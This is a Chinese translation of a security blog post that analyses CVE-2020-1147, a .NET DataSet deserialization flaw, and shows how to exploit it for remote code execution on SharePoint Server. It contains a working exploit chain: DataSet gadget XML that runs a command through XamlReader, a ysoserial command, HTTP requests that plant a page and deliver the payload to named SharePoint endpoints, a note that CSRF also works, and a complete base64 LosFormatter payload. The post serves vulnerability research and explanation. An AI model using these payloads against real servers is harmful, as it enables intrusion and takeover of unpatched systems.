SharePoint和Pwn:针对SharePoint Server滥用DataSet的远程代码执行 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

SharePoint和Pwn:针对SharePoint Server滥用DataSet的远程代码执行

41yf1sh 技术 2020-08-10 09:34:27
509915
收藏

导语:在这篇文章中,我将详细分析CVE-2020-1147漏洞,以及如何针对SharePoint Server实例利用这一漏洞的详细信息,以低特权用户的身份获得远程代码执行。

0x00 前言

7月,在CVE-2020-1147漏洞发布时,我很好奇这个漏洞的表现形式,以及如何利用这个漏洞实现远程代码执行。由于我对于SharePoint Server和.NET比较了解,因此决定深入研究一下。

在这篇文章中,我将详细分析CVE-2020-1147漏洞,该漏洞由Oleksandr Mirosh、Markus Wulftange和Jonathan Birch独立发现。我将分享如何针对SharePoint Server实例利用这一漏洞的详细信息,使用低特权用户的身份获得远程代码执行。需要特别说明的是,在这里我并没有提供完整的漏洞利用,因此如果大家遇到问题,需要独立解决。

我比较关注的一个点在于,Microsoft引用了与该漏洞相关的安全指南,具体如下:

如果传入的XML数据包含其类型不在列表中的对象,则会引发异常。反序列化操作将会失败。在将XML加载到现有的DataSet或DataTable实例中时,还应该考虑现有的列定义。如果表中已经包含自定义类型的列定义,那么在XML反序列化操作期间,该类型将被临时添加到允许列表中。

有趣的是,这里可以指定类型,并且可以覆盖列定义。而这对我来说似乎很有帮助,让我们来看一下如何创建DataSet对象。

0x01 理解DataSet对象

在数据集DataSet中,包含数据表Datatable,其中包括数据列DataColumn和数据行DataRow。更重要的是,它实现了ISerializable接口,这意味着我们可以使用XmlSerializer对其进行序列化。首先,创建一个DataTable:

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
                    
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
                    
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
                    
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }

使用WriteXmlSchema方法,可以写出该模式的定义。这段代码会产生以下内容:

< ?xml version="1.0" standalone="yes"? >< xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" >
  < xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true" >
    < xs:complexType >
      < xs:choice minOccurs="0" maxOccurs="unbounded" >
        < xs:element name="exp_x0020_table" >
          < xs:complexType >
            < xs:sequence >
              < xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" / >
            < /xs:sequence >
          < /xs:complexType >
        < /xs:element >
      < /xs:choice >
    < /xs:complexType >
  < /xs:element >< /xs:schema >

在查看DataSet的代码后发现,它使用WriteXml和ReadXML公开了自己的序列化方法(包装在XmlSerializer上):

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

现在,剩下的步骤就是将表格添加到数据集中,并对其进行序列化:

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

这种序列化方式保留了模式类型,并在运行时使用实例化的XmlSerializer对象图中的单个DataSet预期类型来重建受到攻击者影响的类型。

0x02 DataSet Gadget

下面是可以构造的gadget示例,请注意,不要将它与ysoserial中的DataSet gadget混淆:

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
          < ExpandedElement/ >
          < ProjectedProperty0 >
            < MethodName >Parse< /MethodName >
            < MethodParameters >
              < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >< ![CDATA[< ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system" >< ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start" >< ObjectDataProvider.MethodParameters >< System:String >cmd< /System:String >< System:String >/c mspaint < /System:String >< /ObjectDataProvider.MethodParameters >< /ObjectDataProvider >< /ResourceDictionary >]] >< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="XamlReader"/ >
          < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

这个gadget链将在不包含接口成员的Type上调用任意静态方法。在这里,我打算使用知名的XamlReader.Parse加载恶意Xaml来执行系统命令。正如@pwntester在研究中提到的,我使用ExpandedWrapper类加载了两种不同的类型。

可以在许多sink中利用它,例如:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);

许多应用程序都认为DataSet是安全的,因此即使无法直接通过XmlSerializer控制期望的类型,DataSet也通常用于对象图中。但是,最有趣的sink是触发代码执行的DataSet.ReadXml:

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");

0x03 将Gadget应用在SharePoint Server

我们查看了ZDI-20-874,该漏洞公告提到了Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet控件,可以用于远程执行代码。这立即引起了我的关注,因为其类名称中包含“DataSet”名称。我们来查看一下SharePoint的默认web.config文件:

      < controls >
        < add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" / >
        < add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
      < /controls >

在控件标签下,我们可以看到Microsoft.PerformancePoint.Scorecards命名空间不存在前缀。但是,我们检查SafeControl标签,里面确实列出了允许的命名空间中的所有类型。

< configuration >
  < configSections >
  < SharePoint >
    < SafeControls >
      < SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" / >
         ...

既然我们知道可以从这个命名空间实例化类,那么我们就可以深入研究代码以检查ExcelDataSet类型:

namespace Microsoft.PerformancePoint.Scorecards
{
 
       [Serializable]
       public class ExcelDataSet
       {

我注意到的第一件事,就是它可以序列化,因此我知道它可以实例化为控件,并且默认构造函数将会与未使用System.Xml.Serialization.XmlIgnoreAttribute属性标记的所有公共设置方法一起被调用。SharePoint使用XmlSerializer从控件创建对象,因此,在代码中只需要找到可以使攻击者提供的数据流入TemplateControl.ParseControl的任何地方,就可以利用ExcelDataSet类型。

其中比较明显的一个属性就是DataTable属性,因为它包含一个公开setter,并且使用了System.Data.DataTable类型。但是,经过仔细检查,我们可以看到它正在使用XmlIgnore属性,因此我们无法使用这个setter触发反序列化。

[XmlIgnore]
public DataTable DataTable
{
       get
       {
              if (this.dataTable == null && this.compressedDataTable != null)
              {
                     this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
                     if (this.dataTable == null)
                     {
                            this.compressedDataTable = null;
                     }
              }
              return this.dataTable;
       }
       set
       {
              this.dataTable = value;
              this.compressedDataTable = null;
       }
}

上述代码揭晓了部分答案,但是getter使用compressedDataTable属性调用GetObjectFromCompressedBase64String。这个方法将解码提供的Base64,解压缩二进制formatter Payload,然后用它来调用BinaryFormatter.Deserialize。但是,代码包含反序列化的预期类型,其中之一就是DataTable,因此我们不能只在这里填充生成的TypeConfuseDelegate。

              private static readonly Type[] ExpectedSerializationTypes = new Type[]
              {
                     typeof(DataTable),
                     typeof(Version)
              };

在检查CompressedDataTable属性时,我们可以看到设置compressedDataTable成员不会出现问题,因为它使用的是System.Xml.Serialization.XmlElementAttribute属性。

[XmlElement]
public string CompressedDataTable
{
       get
       {
              if (this.compressedDataTable == null && this.dataTable != null)
              {
                     this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
              }
              return this.compressedDataTable;
       }
       set
       {
              this.compressedDataTable = value;
              this.dataTable = null;
       }
}

将上述组合在一起,我就可以注册一个前缀,并使用Base64编码、压缩和序列化的危险DataTable实例化控件:

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 1688
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" / >

但是,我无法找到触发DataTable属性getter的方法。我知道我需要一种使用DataSet的方法,但是我并不知道如何使用。

多种方式实现目标

在我放松心情后,我决定以不同的方式来思考这个问题,并开始考虑还有哪些sink可以使用。然后,我想到了DataSet.ReadXml sink也是一个造成问题的来源,因此我再次检查了代码,并找到了这个有效的代码路径:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

在ContactLinksSuggestionsMicroView类的内部,我们可以看到GetDataSet方法:

              protected override DataSet GetDataSet()
              {
                     base.StopProcessingRequestIfNotNeeded();
                     if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
                     {
                            return null;
                     }
                     DataSet dataSet = new DataSet();
                     DataTable dataTable = dataSet.Tables.Add();
                     dataTable.Columns.Add("PreferredName", typeof(string));
                     dataTable.Columns.Add("Weight", typeof(double));
                     dataTable.Columns.Add("UserID", typeof(string));
                     dataTable.Columns.Add("Email", typeof(string));
                     dataTable.Columns.Add("PageURL", typeof(string));
                     dataTable.Columns.Add("PictureURL", typeof(string));
                     dataTable.Columns.Add("Title", typeof(string));
                     dataTable.Columns.Add("Department", typeof(string));
                     dataTable.Columns.Add("SourceMask", typeof(int));
                     if (this.IsInitialPostBack)                                                                                      // 2
                     {
                            this.PopulateDataSetFromSuggestions(dataSet);
                     }
                     else
                     {
                            this.PopulateDataSetFromCache(dataSet);                                                                  // 3
                     }
                     this.m_strJavascript.AppendLine("var user = new Object();");
                     foreach (object obj in dataSet.Tables[0].Rows)
                     {
                            DataRow dataRow = (DataRow)obj;
                            string scriptLiteralToEncode = (string)dataRow["UserID"];
                            int num = (int)dataRow["SourceMask"];
                            this.m_strJavascript.Append("user['");
                            this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
                            this.m_strJavascript.Append("'] = ");
                            this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
                            this.m_strJavascript.AppendLine(";");
                     }
                     StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
                     dataSet.WriteXml(stringWriter);
                     SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
                     return dataSet;
              }

在[1]的位置,代码检查该请求是否为POST返回请求。为了确保这一点,攻击者可以设置__viewstate POST变量,然后代码在[2]的位置检查__SUGGESTIONSCACHE__ POST变量是否已经设置,如果已设置,则IsInitialPostBack getter将返回false。只要这个getter返回false,攻击者就可以到达[3],到达PopulateDataSetFromCache。该调用将使用已经使用特定模式定义创建的数据集。

              protected void PopulateDataSetFromCache(DataSet ds)
              {
                     string value = SPRequestParameterUtility.GetValue< string >(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
                     using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
                     {
                            xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
                            ds.ReadXml(xmlTextReader);                                                                              // 4
                            ds.AcceptChanges();
                     }
              }

在PopulateDataSetFromCache内部,代码调用SPRequestParameterUtility.GetValue以从__SUGGESTIONSCACHE__请求变量获取攻击者控制的数据,并使用XmlTextReader将其直接解析为ReadXml。先前定义的模式被攻击者提供的XML内部的模式所覆盖,并且在[4]发生不可信类型的反序列化,从而导致远程代码执行。为了触发此操作,我创建了一个页面,该页面专门使用ContactLinksSuggestionsMicroView类型:

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 252
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ContactLinksSuggestionsMicroView runat="server" / >

如果我们以低特权用户身份利用这一漏洞,并且AddAndCustomizePages设置已经禁用,那么就可以利用实例化InputFormContactLinksSuggestionsMicroView控件的页面来利用这一漏洞,因为它是从ContactLinksSuggestionsMicroView扩展而来的。

namespace Microsoft.SharePoint.Portal.WebControls
{
 
       [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
       [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
       public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
       {

我发现了一些实现该控件的终端,但暂时还没有时间对其进行测试。(更新:Soroush Dalili对其进行了测试,并且确认它们的确是可以利用的)

    /_layouts/15/quicklinks.aspx?Mode=Suggestion
/_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion

现在,要利用漏洞,我们可以对新创建的页面执行POST请求:

POST /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >

__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

请注意,也可以对每个终端进行CSRF攻击,因此不一定需要凭据。

0x04 最后一件事

我们不能使用XamlReader.Load静态方法,因为IIS Web服务器将模拟为IUSR帐户,并且该帐户对注册表的访问是受限的。如果尝试这样做,除非在IIS下没有金庸模拟,并使用了应用程序池标识,否则最终会得到这样的堆栈跟踪:

{System.InvalidOperationException: There is an error in the XML document. --- > System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. --- > System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

我们需要找到另一个危险的静态方法或setter,以从不使用接口成员的类型进行调用。我想将这一部分作为留给读者的练习,祝大家好运!

0x05 远程代码执行漏洞利用

好吧,实际上,我是希望大家能完整地阅读这篇文章,而不只是急于找到漏洞的Payload,这样将有助于我们更好地理解基础技术。无论如何,要利用该漏洞,我们可以使用LosFormatter.Deserialize方法,因为这个类中不包含接口成员。为此,我们需要生成序列化的ObjectStateFormatter小工具链的Base64 Payload:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

现在,我们可以将Payload插入到以下DataSet gadget中,并针对目标SharePoint Server触发远程代码执行。

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        < ExpandedElement/ >
        < ProjectedProperty0 >
            < MethodName >Deserialize< /MethodName >
            < MethodParameters >
                < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="LosFormatter" >< /ObjectInstance >
        < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

针对IIS进程获得远程代码执行:

1.png

0x06 总结

Microsoft将该漏洞的可利用级别评估为1,我们同意这一点,这说明应该立即对该漏洞进行修复。值得一提的是,这个gadget链可以用于使用.NET构建的多个应用程序,即使未安装SharePoint Server,也仍然会受到这个漏洞的影响。

0x07 参考资料

[1] https://speakerdeck.com/pwntester/attacking-net-serialization

[2] https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance

[3] https://www.zerodayinitiative.com/advisories/ZDI-20-874/

本文翻译自:https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务